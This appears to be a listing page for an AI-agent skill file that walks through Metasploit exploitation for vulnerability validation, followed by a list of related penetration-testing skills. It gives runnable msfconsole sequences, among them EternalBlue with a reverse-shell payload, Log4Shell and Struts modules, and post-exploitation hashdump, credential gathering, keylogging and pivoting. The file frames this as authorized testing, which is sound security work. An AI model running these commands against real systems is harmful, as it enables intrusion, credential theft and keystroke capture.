exploiting-vulnerabilities-with-metasploit-framework
The Metasploit Framework is the world's most widely used penetration testing platform, maintained by Rapid7. It contains over 2,300 exploits, 1,200 auxiliary modules, and 400 post-exploitation modules
Best use case
exploiting-vulnerabilities-with-metasploit-framework is best used when you need a repeatable AI agent workflow instead of a one-off prompt.
The Metasploit Framework is the world's most widely used penetration testing platform, maintained by Rapid7. It contains over 2,300 exploits, 1,200 auxiliary modules, and 400 post-exploitation modules
Teams using exploiting-vulnerabilities-with-metasploit-framework should expect a more consistent output, faster repeated execution, less prompt rewriting.
When to use this skill
- You want a reusable workflow that can be run more than once with consistent structure.
When not to use this skill
- You only need a quick one-off answer and do not need a reusable workflow.
- You cannot install or maintain the underlying files, dependencies, or repository context.
Installation
Claude Code / Cursor / Codex
Manual Installation
- Download SKILL.md from GitHub
- Place it in
.claude/skills/exploiting-vulnerabilities-with-metasploit-framework/SKILL.mdinside your project - Restart your AI agent — it will auto-discover the skill
How exploiting-vulnerabilities-with-metasploit-framework Compares
| Feature / Agent | exploiting-vulnerabilities-with-metasploit-framework | Standard Approach |
|---|---|---|
| Platform Support | Not specified | Limited / Varies |
| Context Awareness | High | Baseline |
| Installation Complexity | Unknown | N/A |
Frequently Asked Questions
What does this skill do?
The Metasploit Framework is the world's most widely used penetration testing platform, maintained by Rapid7. It contains over 2,300 exploits, 1,200 auxiliary modules, and 400 post-exploitation modules
Where can I find the source code?
You can find the source code on GitHub using the link provided at the top of the page.
SKILL.md Source
# Exploiting Vulnerabilities with Metasploit Framework ## Overview The Metasploit Framework is the world's most widely used penetration testing platform, maintained by Rapid7. It contains over 2,300 exploits, 1,200 auxiliary modules, and 400 post-exploitation modules. Within vulnerability management, Metasploit serves as a validation tool to confirm that identified vulnerabilities are actually exploitable, enabling risk-based prioritization and demonstrating real-world impact to stakeholders. ## When to Use - When performing authorized security testing that involves exploiting vulnerabilities with metasploit framework - When analyzing malware samples or attack artifacts in a controlled environment - When conducting red team exercises or penetration testing engagements - When building detection capabilities based on offensive technique understanding ## Prerequisites - Metasploit Framework installed (Kali Linux or standalone) - PostgreSQL database for session/credential management - Written authorization and rules of engagement for testing - Isolated test environment or approved production testing window - Understanding of networking, protocols, and exploitation concepts ## Core Concepts ### Metasploit Architecture - **msfconsole**: Primary interactive command-line interface - **Exploits**: Modules that leverage vulnerabilities to gain access - **Payloads**: Code executed on the target after successful exploitation - **Auxiliary**: Scanning, fuzzing, and information gathering modules - **Post-Exploitation**: Modules for privilege escalation, persistence, pivoting - **Encoders**: Payload encoding to evade signature-based detection - **Nops**: No-operation generators for payload alignment ### Exploitation Workflow in Vulnerability Management Unlike offensive red teaming, vulnerability management uses Metasploit to: 1. **Validate** scanner findings (confirm exploitability) 2. **Demonstrate** risk to business stakeholders 3. **Prioritize** remediation based on proven exploitation paths 4. **Verify** patches by confirming exploits no longer succeed ## Workflow ### Step 1: Initialize Metasploit Environment ```bash # Start PostgreSQL and initialize database sudo systemctl start postgresql sudo msfdb init # Launch msfconsole msfconsole -q # Verify database connection msf6> db_status msf6> workspace -a vuln_validation_2025 # Import vulnerability scan results msf6> db_import /path/to/nessus_scan.nessus msf6> hosts msf6> vulns ``` ### Step 2: Validate Specific Vulnerabilities ```bash # Example: Validate MS17-010 (EternalBlue) from scan findings msf6> search type:exploit name:ms17_010 msf6> use exploit/windows/smb/ms17_010_eternalblue msf6> show options msf6> set RHOSTS 192.168.1.100 msf6> set PAYLOAD windows/x64/meterpreter/reverse_tcp msf6> set LHOST 192.168.1.50 msf6> set LPORT 4444 # Use check command first (non-exploitative validation) msf6> check # [+] 192.168.1.100:445 - Host is likely VULNERABLE to MS17-010! # Only exploit if check confirms vulnerability and authorized msf6> exploit # Example: Validate Apache Struts RCE (CVE-2017-5638) msf6> use exploit/multi/http/struts2_content_type_ognl msf6> set RHOSTS target.example.com msf6> set RPORT 8080 msf6> set TARGETURI /showcase.action msf6> check # Example: Validate Log4Shell (CVE-2021-44228) msf6> use exploit/multi/http/log4shell_header_injection msf6> set RHOSTS target.example.com msf6> set HTTP_HEADER X-Api-Version msf6> check ``` ### Step 3: Auxiliary Scanning for Validation ```bash # SMB vulnerability scanning msf6> use auxiliary/scanner/smb/smb_ms17_010 msf6> set RHOSTS 192.168.1.0/24 msf6> set THREADS 10 msf6> run # SSL/TLS vulnerability checks msf6> use auxiliary/scanner/ssl/openssl_heartbleed msf6> set RHOSTS target.example.com msf6> run # HTTP vulnerability validation msf6> use auxiliary/scanner/http/dir_listing msf6> set RHOSTS target.example.com msf6> run # Database authentication testing msf6> use auxiliary/scanner/mssql/mssql_login msf6> set RHOSTS db-server.corp.local msf6> set USERNAME sa msf6> set PASSWORD "" msf6> run ``` ### Step 4: Post-Exploitation Impact Assessment ```bash # After successful exploitation, demonstrate impact meterpreter> getuid meterpreter> sysinfo meterpreter> hashdump meterpreter> run post/multi/gather/env meterpreter> run post/windows/gather/enum_patches meterpreter> run post/windows/gather/credentials/credential_collector # Network pivoting demonstration meterpreter> run post/multi/manage/autoroute meterpreter> run auxiliary/server/socks_proxy # Screenshot for evidence meterpreter> screenshot meterpreter> keyscan_start ``` ### Step 5: Document and Report Findings ```bash # Export exploitation evidence msf6> vulns -o /tmp/validated_vulns.csv msf6> hosts -o /tmp/compromised_hosts.csv msf6> creds -o /tmp/captured_creds.csv msf6> loot -o /tmp/captured_loot.csv # Generate report from database msf6> db_export -f xml /tmp/msf_report.xml ``` ### Step 6: Post-Patch Verification ```bash # After remediation, verify exploit no longer works msf6> use exploit/windows/smb/ms17_010_eternalblue msf6> set RHOSTS 192.168.1.100 msf6> check # [-] 192.168.1.100:445 - Host does NOT appear vulnerable. # Patch verified successfully ``` ## Safety Controls 1. **Always use `check` command** before `exploit` when available 2. **Set AutoRunScript** for clean session management 3. **Use EXITFUNC=thread** to prevent crashing target services 4. **Limit payload capabilities** to minimum needed for validation 5. **Document every action** for audit trail and evidence 6. **Use workspace isolation** per engagement 7. **Never run Metasploit against unauthorized targets** ## Best Practices 1. Start with vulnerability check modules before exploitation 2. Use Metasploit to validate top-priority scanner findings only 3. Coordinate with system owners for testing windows 4. Maintain detailed logs of all exploitation attempts 5. Clean up all artifacts and sessions after testing 6. Use results to create compelling risk narratives for stakeholders 7. Integrate Metasploit validation into vulnerability management workflow ## Common Pitfalls - Exploiting without written authorization (legal liability) - Using exploitation on production systems without coordination - Not cleaning up Meterpreter sessions and artifacts - Confusing vulnerability validation with penetration testing scope - Using outdated Metasploit modules against patched systems - Failing to document exploitation evidence for remediation teams ## Related Skills - performing-red-team-validated-vulnerability-testing - scanning-infrastructure-with-nessus - performing-network-vulnerability-assessment
Related Skills
triaging-vulnerabilities-with-ssvc-framework
Triage and prioritize vulnerabilities using CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree framework to produce actionable remediation priorities.
testing-for-xxe-injection-vulnerabilities
Discovering and exploiting XML External Entity injection vulnerabilities to read server files, perform SSRF, and exfiltrate data during authorized penetration tests.
testing-for-xss-vulnerabilities
Tests web applications for Cross-Site Scripting (XSS) vulnerabilities by injecting JavaScript payloads into reflected, stored, and DOM-based contexts to demonstrate client-side code execution, session hijacking, and user impersonation. The tester identifies all injection points and output contexts, crafts context-appropriate payloads, and bypasses sanitization and CSP protections. Activates for requests involving XSS testing, cross-site scripting assessment, client-side injection testing, or JavaScript injection vulnerability testing.
testing-for-xss-vulnerabilities-with-burpsuite
Identifying and validating cross-site scripting vulnerabilities using Burp Suite's scanner, intruder, and repeater tools during authorized security assessments.
testing-for-xml-injection-vulnerabilities
Test web applications for XML injection vulnerabilities including XXE, XPath injection, and XML entity attacks to identify data exposure and server-side request forgery risks.
testing-for-open-redirect-vulnerabilities
Identify and test open redirect vulnerabilities in web applications by analyzing URL redirection parameters, bypass techniques, and exploitation chains for phishing and token theft.
testing-for-json-web-token-vulnerabilities
Test JWT implementations for critical vulnerabilities including algorithm confusion, none algorithm bypass, kid parameter injection, and weak secret exploitation to achieve authentication bypass and privilege escalation.
testing-for-business-logic-vulnerabilities
Identifying flaws in application business logic that allow price manipulation, workflow bypass, and privilege escalation beyond what technical vulnerability scanners can detect.
testing-android-intents-for-vulnerabilities
Tests Android inter-process communication (IPC) through intents for vulnerabilities including intent injection, unauthorized component access, broadcast sniffing, pending intent hijacking, and content provider data leakage. Use when assessing Android app attack surface through exported components, testing intent-based data flows, or evaluating IPC security. Activates for requests involving Android intent security, IPC testing, exported component analysis, or Drozer assessment.
prioritizing-vulnerabilities-with-cvss-scoring
The Common Vulnerability Scoring System (CVSS) is the industry standard framework maintained by FIRST (Forum of Incident Response and Security Teams) for assessing vulnerability severity. CVSS v4.0 (r
exploiting-zerologon-vulnerability-cve-2020-1472
Exploit the Zerologon vulnerability (CVE-2020-1472) in the Netlogon Remote Protocol to achieve domain controller compromise by resetting the machine account password to empty.
exploiting-websocket-vulnerabilities
Testing WebSocket implementations for authentication bypass, cross-site hijacking, injection attacks, and insecure message handling during authorized security assessments.